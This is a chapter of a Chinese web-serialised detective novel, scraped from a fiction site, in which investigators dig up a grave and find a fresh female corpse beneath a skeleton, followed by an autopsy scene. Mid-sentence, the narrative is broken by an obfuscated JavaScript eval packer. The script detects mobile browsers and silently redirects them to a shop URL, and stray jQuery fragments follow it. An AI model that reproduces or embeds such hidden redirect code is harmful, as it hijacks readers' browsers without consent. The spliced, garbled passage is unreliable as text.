文趣网 > 其他小说 > 我与县令的探案日常 > 7. 偷尸案7
    她也是在看见李夫人佛堂里挂着的那副观音像才想到,何叶头上那一层层的伤口和纹路,和那观音像上的莲台十分相像。若真是菩萨像,那按照那伤口大小,凶器只能是一尊能握在手里的小像。每一个工匠都有自己的造物习惯,她相信要找出和伤口符合的观音像,不会太难。

    “能是能,”那小和尚说:“不过最后一尊开过光的小像前些日子被李夫人请走了,如果施主想要的话,需要再等几日。”

    李夫人明明说过她没请观音,可小和尚却说她请了。小和尚没必要说谎,那李夫人说谎是为了什么呢?她在隐瞒什么?江晚卿正欲往下细想,一直没出声的沈慎之开口了:

    “我可以看看那小像长什么样吗?”话是问句,可却没给小和尚回绝的余地,他看向马亮:“你去随小师傅一起去取。”

    不一定非要找到当时的凶器,只要找到同一种东西,试验一番自然也能得出个大概结论。

    待两人离开,他又吩咐洪泰:“你去找找李大公子的墓在哪里。”

    见他提到李大公子,江晚卿想起在李家见到的景象:“那李二公子的手脚如虾螯般裂开分叉,久站都不容易,更别说去黄员外家杀黄小姐了。”

    沈慎之微微颔首,想到那李二公子从床上站起的情景,他当时虽然是只老鼠,但站在桌面上也看清对方的身高与那小丫鬟差不多,实在不是江晚卿说的高个儿。

    两人想到一起,心中的怀疑如惊雷般炸开,对视一眼,江晚卿便看懂了对方的意思:“你是不是也怀疑李管家?”

    李管家是李夫人的人,问题又回到原点,李夫人杀人的原由是什么?李夫人此人如此信奉风水与命理,她看重黄小姐的命格,没理由会杀掉这样的人。除非,杀黄小姐的人不是受她指使。

    江晚卿想到这里重重的叹了口气,洪泰这时却去而复返,皱着眉步履匆匆而来,走近了才开口:“大人,李成印的坟不对劲。”

    金山寺后面是一片竹林,那里也是李家大公子李成印的墓地所在。洪泰之所以说这坟不对劲,是因为他发现这座坟上的土是新土。一座经历过三年风吹日晒的坟怎么可能还是新土?

    马亮带着人回来没瞧见他们,问了当值的和尚也找到了这里。沈慎之没看他手里的小像,而是去坟边抓了把土,捏在手里揉搓,质地松散,确实与旧土的干硬紧实完全不同,他起身,目光如炬般投向那小和尚:“最近有人动过这座坟?”

    那小和尚被这么质问过,吓了一跳,问什么答什么:“没有,前两日是大公子忌日,李夫人过来也是在方丈的陪同下,没人动过这座坟。”

    沈慎之打量着那坟周围,那墓碑底下埋进土里的位置颜色显然比上面那一层更深,只有常年被泥水浸泡才有的陈旧,被挖出来后重新埋下却忽略了墓碑上会留下的痕迹。

    “方丈呢,”洪泰跟了他多年,早已习惯他的行为方式,冲小和尚大喝:“把你们方丈叫过来。”

    洪泰人长得凶,又有一条半掌长的疤竖在眼尾,令他看上去与那山匪无异,再加上他语气实在不好,小和尚被吓得赶紧跑去找人了。

    江晚卿环顾四周,这个坟的位置在金山寺的后面,有竹林遮挡,看不见其他建筑物,可她有些好奇,李家紧挨着寺庙,他们家有没有后门,而后门能不能直接神不知鬼不觉的来到这里。显然沈慎之也想到了这点,他迈步朝竹林深处走去。马亮没得命令自然是留守原地,可江晚卿没这么多规矩,拔腿就跟上。

    这里的竹叶枝条非常茂盛,她需要不停地用手去拨开那扫脸的竹叶,忽然她的眼角余光被一道黄色的东西晃了一下,下意识望去,旁边的枝条上落着一朵黄灿灿的绢花,看上去还很新。什么正常人会往这里跑?她看了眼走远的沈慎之把东西拿下来,追了上去,很快两人终于走出竹林,看见了李家的宅子。

    如沈慎之设想的那样,李家有一扇两人宽的后门,晚上如果想来李大公子墓边,完全可以做到神不知鬼不觉。江晚卿见他站立不动,这才得到机会拿出那朵绢花给他看。沈慎之猛然发现自己忽略了一件事,最开始何花报案时称何叶是过完生辰去城中找好友连翘取生辰礼的,可何叶找到后,这件礼物是什么,没有人关注。

    这朵绢花的材质不是大户人家用的罗布,而是一种粗平布,他看向江晚卿,就像是她昨日那身衣服的布料一样,穷人常用来做衣裳的布料。他忽然有了一个大胆的猜测,可要证实...

    捏着那朵绢花,他未发一言,掉头往回走,等江晚卿摸不着头脑似的跟他又一次穿过竹林,就听见他的声音坚定又不容置疑的传来:“挖坟。”

    这话别说在场的其他人了,就连江晚卿这个现代人都吓了一跳,挖坟啊,不管放在那个时代都会被人打死的吧?玄和方丈看了他一眼,低头和身旁的小和尚说了什么,后者被洪泰吓怕了,两只黑眼珠提溜着往他那边瞟,犹疑着迈步子,还没迈开就被沈慎之捕捉:“洪泰,这里的人一个也不要放走。马亮,找家伙挖坟。”

    那些人那么大费周章的也要动这座坟,里面装的东西,可能是这件案子的关键,如若他猜错了,那他自会向京中请罪,到时皇帝要罚要杀,他都认。

    洪泰负责看人,马亮不知从哪里找来一把铁锹,吭哧吭哧地挖,他练武的力气大,再加上这坟是座新坟,土很松散,没一会儿就挖开了。他看了眼那棺上的钉子,站在坑里冲外喊:“这棺开过,钉子是新钉上去的。”

    沈慎之看着那口黑木棺材,眸色微动,沉声下令:“开棺!”

    所有人的视线都聚集在这口棺材上,江晚卿的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891703|212767||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    位置,是除马亮外离棺材最近的,随着最后一颗钉子被撬起,沉重的棺材板被揭开,一具穿着红色喜服的枯骨映入眼帘,江晚卿喊出声:“他底下还有一具尸!”

    马亮比她先看见,可喊得慢,只好看向沈慎之:“是具新鲜的女尸。”

    对比起其他人的大惊失色,沈慎之只是在初闻消息时露出讶异神情,但很快,就恢复沉静:“洪泰,你就近找人把两具尸体抬去衙门,马亮你去把李家的人押走。”

    那具女尸的身份很快就得到了确认,正是黄小姐的丫鬟,失踪的春梅。将红着眼睛认完尸的陈虎拉开,看着春梅那张十五六岁的脸,江晚卿第一次感觉到沉重。这与给黄小姐尸检时不同,那时她刚来这个世界,一切都还在茫然状态,验尸也是为了生存,可历经这两天的查探,初来乍到的惊恐褪去,她突然意识到,这两名死者都不过豆蔻,放在她的时代里,还只是名高中生。

    想到这里,她拱手朝春梅的尸首深深鞠了一躬,抬起头时,眼神里满是坚定,开口的声音铿锵有力:“逝者安息,今日我江晚卿为你尸检,只为查明原由,为你讨回公道,多有得罪,莫怪。”

    说完她转头看向一旁的衙役,指明其中一位带着点书生气的:“你,为我执笔,务必写下我所说的所有勘验细节。”

    “开始验尸。”

    周围的闲杂人等都被屏退,停尸的房间只剩下她与那记录的衙役,江晚卿拿出那个金色香囊放在鼻尖深深吸了一口,才靠近春梅身边,俯下身子,将洗净的手探进她的发缝中仔细摸索:“死者陈春梅,头顶无外伤,头骨完整。”

    她凑近死者的面部观察,用手指在那小块淡红色的斑块上按压,随后将尸体外袍解开,确认其后腰亦有几点相同斑块后开口:“左侧脸颊,后腰处,有尸,血坠,按压不散,死亡时间大约两天左右,死后被人搬动过,导致血坠的位置有所变化。”

    褪下死者的全部衣物,对方胸口处那处明显的外伤全部暴露,江晚卿观察着伤口形状:“伤口极其杂乱不规则,有深有浅,”她注意到有一处伤口深处里面有东西,她回头看向那个衙役:“有匕首吗?”

    拿着匕首她动作极轻地将伤口里的东西挑出来,擦干净上面的血污,捏在手里尖刺分明,是碎裂的玉石。她找衙役要了张纸,将这颗黄豆大小的碎石小心翼翼的包好。

    目光落在那伤口上:“死者左胸有穿刺伤,伤口呈锯齿状,有血凝,血坠呈点滴状,色浅,以伤口看凶器,推测应该是一个本身就已经碎掉的玉器尖端,大小大约拳。”

    说着她略微停顿,喉结滚动,艰难开口:“根据尸首情况推测,死者是失血过多导致的死亡。”

    也就是说,春梅在被凶器刺伤之时,还活着,她是眼睁睁感受着自己血流干净而死的。